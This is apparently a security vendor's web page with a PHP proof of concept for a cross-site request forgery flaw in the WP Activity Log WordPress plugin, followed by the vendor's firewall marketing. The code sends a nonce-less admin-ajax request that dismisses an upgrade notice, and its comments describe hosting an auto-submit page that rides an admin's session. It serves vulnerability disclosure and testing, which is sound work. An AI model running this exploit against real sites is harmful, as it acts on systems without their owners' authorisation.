// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65512 - WP Activity Log <= 5.6.4 - Cross-Site Request Forgery

// Configuration
$target_url = 'http://your-wordpress-site.com'; // Replace with the target WordPress URL
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// WPScan-style request to exploit CSRF for notice dismissal
// Note: This tricks a logged-in admin into dismissing a security notice.

// Step 1: Craft the malicious request
// The vulnerable endpoint does not check for a nonce.
// We simulate the admin's browser action by sending a POST request without a nonce.

$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $admin_ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'action' => 'wsal_dismiss_upgrade_notice', // Vulnerable action in <= 5.6.4
    // 'nonce' => '', // Missing nonce field
));

// Disable SSL verification for testing (remove in production)
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Exploit attempt sent. Response: " . $response . "n";
}

// Close cURL
curl_close($ch);

// Note: In a real attack, the attacker would host a page with a form or auto-submit script.
// This would send the request using the admin's session cookies.
// The 'action' parameter may vary depending on the installed notices.

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.